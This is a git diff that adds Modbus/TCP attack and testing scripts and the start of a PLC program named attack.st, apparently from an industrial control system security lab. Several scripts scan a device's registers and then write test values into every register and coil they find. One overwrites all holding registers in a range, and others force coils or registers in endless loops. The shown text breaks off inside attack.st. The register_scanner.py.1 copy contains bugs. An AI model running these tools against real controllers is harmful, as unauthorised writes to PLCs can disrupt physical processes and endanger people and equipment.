a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR 